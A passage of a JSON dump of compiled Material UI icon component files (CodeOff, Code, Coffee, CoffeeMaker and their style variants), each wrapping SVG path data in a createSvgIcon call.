    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.17 12-3.88-3.88a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l4.59 4.59c.39.39.39 1.02 0 1.41l-2.88 2.88L17 14.17zM2.1 4.93l3.49 3.49-2.88 2.88c-.39.39-.39 1.02 0 1.41L7.3 17.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.83 12 7 9.83 19.07 21.9c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42\"\n}), 'CodeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.17 12-3.88-3.88a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l4.59 4.59c.39.39.39 1.02 0 1.41l-2.88 2.88L17 14.17zM2.1 4.93l3.49 3.49-2.88 2.88c-.39.39-.39 1.02 0 1.41L7.3 17.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.83 12 7 9.83 19.07 21.9c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42\"\n}), 'CodeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.7 15.9 4.8 12l3.9-3.9c.39-.39.39-1.01 0-1.4a.984.984 0 0 0-1.4 0l-4.59 4.59c-.39.39-.39 1.02 0 1.41l4.59 4.6c.39.39 1.01.39 1.4 0s.39-1.01 0-1.4m6.6 0 3.9-3.9-3.9-3.9a.984.984 0 0 1 0-1.4c.39-.39 1.01-.39 1.4 0l4.59 4.59c.39.39.39 1.02 0 1.41l-4.59 4.6c-.39.39-1.01.39-1.4 0a.984.984 0 0 1 0-1.4\"\n}), 'CodeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.7 15.9 4.8 12l3.9-3.9c.39-.39.39-1.01 0-1.4a.984.984 0 0 0-1.4 0l-4.59 4.59c-.39.39-.39 1.02 0 1.41l4.59 4.6c.39.39 1.01.39 1.4 0s.39-1.01 0-1.4m6.6 0 3.9-3.9-3.9-3.9a.984.984 0 0 1 0-1.4c.39-.39 1.01-.39 1.4 0l4.59 4.59c.39.39.39 1.02 0 1.41l-4.59 4.6c-.39.39-1.01.39-1.4 0a.984.984 0 0 1 0-1.4\"\n}), 'CodeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'CodeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Coffee.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'Coffee');"
  },
  {
    "path": "packages/mui-icons-material/lib/Coffee.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'Coffee');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMaker.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMaker.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1m-8 10v-3h6v3c0 1.65-1.35 3-3 3s-3-1.35-3-3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1m-8 10v-3h6v3c0 1.65-1.35 3-3 3s-3-1.35-3-3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6V4h1c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1h-3.03c1.23-.91 2.03-2.36 2.03-4v-3c0-1.1-.9-2-2-2h-6c-1.1 0-2 .9-2 2v3c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6V4h1c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1h-3.03c1.23-.91 2.03-2.36 2.03-4v-3c0-1.1-.9-2-2-2h-6c-1.1 0-2 .9-2 2v3c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4h2V2H4v20h16v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4h2V2H4v20h16v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\")], 'CoffeeMakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 19c1.65 0 3-1.35 3-3v-3h-6v3c0 1.65 1.35 3 3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h8c.55 0 1-.45 1-1V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1m1 9v-3h6v3c0 1.65-1.35 3-3 3s-3-1.35-3-3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"2\")], 'CoffeeMakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeMakerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 19c1.65 0 3-1.35 3-3v-3h-6v3c0 1.65 1.35 3 3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h8c.55 0 1-.45 1-1V4h2V2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14v-2h-4.03c1.23-.91 2.03-2.36 2.03-4v-5H8v5c0 1.64.81 3.09 2.03 4H6V4h2v2c0 .55.45 1 1 1m1 9v-3h6v3c0 1.65-1.35 3-3 3s-3-1.35-3-3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"9\",\n  r: \"1\"\n}, \"2\")], 'CoffeeMakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm0 5v1c0 2.76-2.24 5-5 5s-5-2.24-5-5v-1m12.5-2H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'CoffeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm0 5v1c0 2.76-2.24 5-5 5s-5-2.24-5-5v-1m12.5-2H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'CoffeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M5 19h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'CoffeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M5 19h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'CoffeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 3H4v8c0 3.87 3.13 7 7 7s7-3.13 7-7v-1h.4c1.67 0 3.19-1.13 3.52-2.77C22.39 4.98 20.67 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'CoffeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 3H4v8c0 3.87 3.13 7 7 7s7-3.13 7-7v-1h.4c1.67 0 3.19-1.13 3.52-2.77C22.39 4.98 20.67 3 18.5 3M16 5v3H6V5zm2.5 3H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8M4 19h16v2H4z\"\n}), 'CoffeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c0 2.76 2.24 5 5 5s5-2.24 5-5v-1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16v2H4zM18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 11c0 2.76-2.24 5-5 5s-5-2.24-5-5v-1h10zm0-3H6V5h10zm2.5 0H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8\"\n}, \"1\")], 'CoffeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoffeeTwoTone.mjs",
